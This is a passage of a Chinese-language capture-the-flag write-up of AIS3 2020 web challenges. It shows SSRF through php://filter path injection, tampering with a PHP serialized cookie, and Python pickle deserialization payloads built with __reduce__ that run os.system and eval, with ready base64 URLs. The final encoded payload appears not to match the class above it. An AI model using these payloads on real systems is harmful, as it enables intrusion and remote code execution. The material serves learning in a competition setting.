</span></span></code></pre></div><p>可以載入 <a href="http://www.example.com" target="_blank" rel="noreferrer">http://www.example.com<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的資料</p>
<p>所以我們把原本的</p>
<p><a href="https://shark.ais3.org/?path=/proc/net/fib_trie" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=/proc/net/fib_trie<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>改成</p>
<p><a href="https://shark.ais3.org/?path=php://filter/resource=/proc/net/fib_trie" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=php://filter/resource=/proc/net/fib_trie<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/shark-proc-net-fib-trie.png"
      class="mx-auto my-0 rounded-md"
      alt="/proc/net/fib_trie"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>嗒噠！！</p>
<p>接下來就是分析這份檔案裡的網址，</p>
<p>詳細的作法 google 一下就很多了</p>
<p>但我在解題的時候整個看下來</p>
<p>撇掉<code>0.0.0.0</code>是 unicast</p>
<p>還有<code>127.0.0.0</code>應該是跟 localhost 有關的</p>
<p>只有 172 開頭的看起來像是 router 分配的區域網路 IP</p>
<p>所以照著一開始提示，試試看</p>
<p><a href="https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.1/flag" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.1/flag<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>沒有：（</p>
<p>再試試</p>
<p><a href="https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.2/flag" target="_blank" rel="noreferrer">https://shark.ais3.org/?path=php://filter/resource=http://172.22.0.2/flag<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>BINGO🎉</p>
<p>Flag：<code>AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}</code></p>
<h3 id="-elephant" class="relative group">🐘 Elephant </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%8c%90%20Web/%f0%9f%90%98%20Elephant/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>先看看連結</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/elephant-home.png"
      class="mx-auto my-0 rounded-md"
      alt="home"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>不知道這是什麼</p>
<p>隨便打個名字 submit 看看</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/elephant-login.png"
      class="mx-auto my-0 rounded-md"
      alt="login"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>岔題一下，題目有提到網頁中有提示，可是 discord 上很多人都找不到</p>
<p>這我就不懂了，就算你連開發者工具都不會用，在網頁上亂拉亂點或全選總不是什麼困難的事吧 (?</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/elephant-hint.png"
      class="mx-auto my-0 rounded-md"
      alt="hint"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>其實老實說我到結束都沒有找到看 source code 的方法，</p>
<p>但還是解出來了，但應該還是算預期解啦 (我猜)</p>
<p>OK 扯遠了，回頭看看網頁的文字</p>
<blockquote>
<p>Hello, Tomy! Your token is not sufficient to read the flag!</p>
</blockquote>
<p>看到這裡的關鍵字 token，我大膽猜測，前一個網頁是一個登入的介面</p>
<p>根據輸入的使用者姓名來決定要不要給 flag</p>
<p>那登入完之後通常會帶上 cookie，那就來檢查一下</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/elephant-cookie.png"
      class="mx-auto my-0 rounded-md"
      alt="cookie"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>php 的 cookie 通常是 base64 encode，先解回來</p>
<pre tabindex="0"><code>O:4:&#34;User&#34;:2:{s:4:&#34;name&#34;;s:4:&#34;Tomy&#34;;s:11:&#34;?User?token&#34;;s:32:&#34;8bd5e99e146d0af7cc75e8f2bcc9693e&#34;;}
</code></pre><p>接下來，按照這份 Cheatsheet: <a href="https://github.com/w181496/Web-CTF-Cheatsheet#php---serialize--unserialize" target="_blank" rel="noreferrer">w181496 / Web-CTF-Cheatsheet<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的提示</p>
<p>再加上已知 php 的字串==布林值 true</p>
<p>可以修改一下這個 cookie</p>
<pre tabindex="0"><code>O:4:&#34;User&#34;:2:{s:4:&#34;name&#34;;s:4:&#34;Tomy&#34;;s:11:&#34;?User?token&#34;;b:1;}
</code></pre><p>用 base64 encode 回去，再填回瀏覽器裡</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/elephant-flag.png"
      class="mx-auto my-0 rounded-md"
      alt="flag"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>Flag：<code>AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}</code></p>
<h3 id="-snake" class="relative group">🐍 Snake </h3><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//tomy0000000/AIS3-2020-PreExam/main/Problems/%f0%9f%8c%90%20Web/%f0%9f%90%8d%20Snake/Problem.png"
      class="mx-auto my-0 rounded-md"
      alt="Problem"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>這題其實是真·賽到</p>
<p>根據我事後跟出題者 <a href="https://github.com/djosix" target="_blank" rel="noreferrer">@djosix<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的討論</p>
<p>我的解法方向上是對的</p>
<p>但是理論上 100%的解題進度</p>
<p>我在解到大概 50%的時候 Flag 就噴出來了</p>
<p>但是</p>
<p>I&rsquo;m certainly not the first, and definitely not the last.</p>
<p>會發生這個現象並不是因為我的解法而產生的特殊解</p>
<p>而是跑 flask gunicorn 的全域變數被改掉了</p>
<p>所以某一些 request 就被 cache 起來之類的</p>
<p><del>這就是為什麼 final countdown 前這題突然多了好多解題成功的紀錄</del></p>
<p>但總之我還是記錄一下我的解題思路</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">Response</span><span class="p">,</span> <span class="n">request</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pickle</span><span class="o">,</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">traceback</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">Response</span><span class="o">.</span><span class="n">default_mimetype</span> <span class="o">=</span> <span class="s1">&#39;text/plain&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="vm">__name__</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nd">@app.route</span><span class="p">(</span><span class="s2">&#34;/&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">values</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;data&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">data</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">data</span> <span class="o">=</span> <span class="n">pickle</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">data</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">data</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;/flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nb">str</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="n">traceback</span><span class="o">.</span><span class="n">format_exc</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">open</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span></code></pre></div><p>進來首先就先看到 flask 的 source code</p>
<p>在第 10~15 行的地方可以看到送一個 data 字串的參數進去</p>
<p>會先被 base64 decode，然後以字串的型態 pickle load 為 Python 的物件</p>
<p>然後如果滿足<code>data and not data</code>的話</p>
<p>就可以成功讀出 flag</p>
<p>當時我看到這題的第一個想法是</p>
<p>如果我可以寫一個自定義的 class</p>
<p>然後 overload and, not, bool 之類的 operator 就可以滿足這個 if 條件式了</p>
<p>於是我讀了一下 Python <a href="https://docs.python.org/3.8/library/stdtypes.html#truth" target="_blank" rel="noreferrer">Truth Value Testing<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 和 <a href="https://docs.python.org/3.8/library/operator.html#module-operator" target="_blank" rel="noreferrer">operator<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的文檔</p>
<p>然後發現 and 跟 not 是不能被 overload 的</p>
<p>所以我現在唯一的辦法就是 overload bool operator</p>
<p>讓他在奇數次呼叫的時候回傳 True</p>
<p>偶數次呼叫回傳 False</p>
<p>Class 大概長這樣</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Exploit</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">initial</span><span class="o">=</span><span class="kc">True</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">initial</span> <span class="o">=</span> <span class="n">initial</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="fm">__bool__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="bp">self</span><span class="o">.</span><span class="n">initial</span> <span class="o">=</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">initial</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">initial</span>
</span></span></code></pre></div><p>測試一下</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="n">Exploit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">e</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">e</span><span class="p">)</span> <span class="c1"># True</span>
</span></span></code></pre></div><p>漂亮</p>
<p>接下來只要把它封裝起來就可以了</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pickle</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">e</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="c1"># gANjX19tYWluX18KRXhwbG9pdApxACmBcQF9cQJYBwAAAGluaXRpYWxxA4hzYi4=</span>
</span></span></code></pre></div><p>打包成網址</p>
<p><a href="https://snake.ais3.org/?data=gANjX19tYWluX18KRXhwbG9pdApxACmBcQF9cQJYBwAAAGluaXRpYWxxA4hzYi4=" target="_blank" rel="noreferrer">https://snake.ais3.org/?data=gANjX19tYWluX18KRXhwbG9pdApxACmBcQF9cQJYBwAAAGluaXRpYWxxA4hzYi4=<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<pre tabindex="0"><code>Traceback (most recent call last):
  File &#34;./main.py&#34;, line 15, in index
    data = pickle.loads(data)
AttributeError: Can&#39;t get attribute &#39;Exploit&#39; on &lt;module &#39;__main__&#39; (built-in)&gt;
</code></pre><p>經過一陣子的研究，問題在於一個很重要的概念，<a href="https://docs.python.org/3/library/pickle.html#comparison-with-marshal" target="_blank" rel="noreferrer">文檔<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>裡有提到</p>
<blockquote>
<p>pickle can save and restore class instances transparently, however the <strong>class definition must be importable</strong> and live in the same module as when the object was stored.</p>
</blockquote>
<p>也就是說，除非執行 Flask 的環境有一個特別定義好可以讓我們 load 的 class (別鬧了)</p>
<p>不然唯一的可能就是上傳一個 Python 原生環境就有的物件</p>
<p>於是我又翻了一下 Elephant 那題用到的 <a href="https://github.com/w181496/Web-CTF-Cheatsheet#python-pickle" target="_blank" rel="noreferrer">w181496 / Web-CTF-Cheatsheet<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<p>裡面有提到 pickle 有一個神奇的用法</p>
<p>對於某些不應該被直接 serialize 和 dump 成 string 的物件/屬性，比方說 file descriptor</p>
<p>可以把還原這些東西的方式定義在 __reduce__ 這個 method 來讓 pickle load 的時候呼叫</p>
<p><a href="https://docs.python.org/3.8/library/pickle.html#object.__reduce__" target="_blank" rel="noreferrer">文檔<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>裡有更多詳細的說明和用法，細節不贅述</p>
<p>簡單的來說，以下面這個 Class 做範例</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Exploit</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s2">&#34;id&#34;</span><span class="p">,)</span>
</span></span></code></pre></div><p>pickle load 的時候，會呼叫</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;id&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>但是因為這個 function 在 Python 中本來就只會回傳指令執行返回的狀態</p>
<p>而不會 pipe stdout 到變數裡</p>
<p>所以應該找類似的 function 來試試</p>
<p>中間我試了很多其他的</p>
<p>可是跑出來的結果幾乎都跟我想像的不一樣</p>
<p>我開始懷疑預期解是不是另有他方，伺服器把這條路給擋掉了</p>
<p>為了測試伺服器的確有確實呼叫我後面參數的 shell 指令</p>
<p>於是我把上面的範例修改了一下下</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Exploit</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">,</span> <span class="p">(</span><span class="s2">&#34;sleep 5&#34;</span><span class="p">,)</span>
</span></span></code></pre></div><p>如果這個 request 轉了超過 5 秒才回傳</p>
<p>就代表指令有被確實被執行</p>
<p>於是我開心的輸入網址</p>
<p><a href="https://snake.ais3.org/?data=gANjcG9zaXgKc3lzdGVtCnEAWAcAAABzbGVlcCA1cQGFcQJScQMu" target="_blank" rel="noreferrer">https://snake.ais3.org/?data=gANjcG9zaXgKc3lzdGVtCnEAWAcAAABzbGVlcCA1cQGFcQJScQMu<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></p>
<pre tabindex="0"><code>AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}
</code></pre><p>Excuse Me???</p>
<p>我知道大難當前我缺分數</p>
<p>但&hellip;</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up//qgiC3kj.png"
      class="mx-auto my-0 rounded-md"
      alt="It Doesn&rsquo;t Work Why It Works Why"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>啊 反正 flag 有了，</p>
<p>等比賽正式結束我再來慢慢研究</p>
<p>於是乎，即便等到比賽結束了我還是想不透</p>
<p>直到隔天下午</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/ais3-2020-pre-exam-write-up/snake-discord.png"
      class="mx-auto my-0 rounded-md"
      alt="Discord screenshot"
      loading="lazy" decoding="async"
    />
  </picture>


</figure>
</p>
<p>於是後來我私訊了作者之後</p>
<p>才得出了上面開頭的結論</p>
<p>那就直接跳結論</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Exploit</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">def</span> <span class="nf">__reduce__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="p">(</span><span class="nb">eval</span><span class="p">,</span> <span class="p">(</span><span class="s2">&#34;open(&#39;/flag&#39;).read()&#34;</span><span class="p">,))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="n">Exploit</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">pickle</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">e</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="c1"># gANjcG9zaXgKc3lzdGVtCnEAWAIAAABpZHEBhXECUnEDLg==</span>
</span></span></code></pre></div><p>其實正規解法跟我的進度其實就只差最後一個重點：</p>
<p><em>evil 的 eval</em></p>
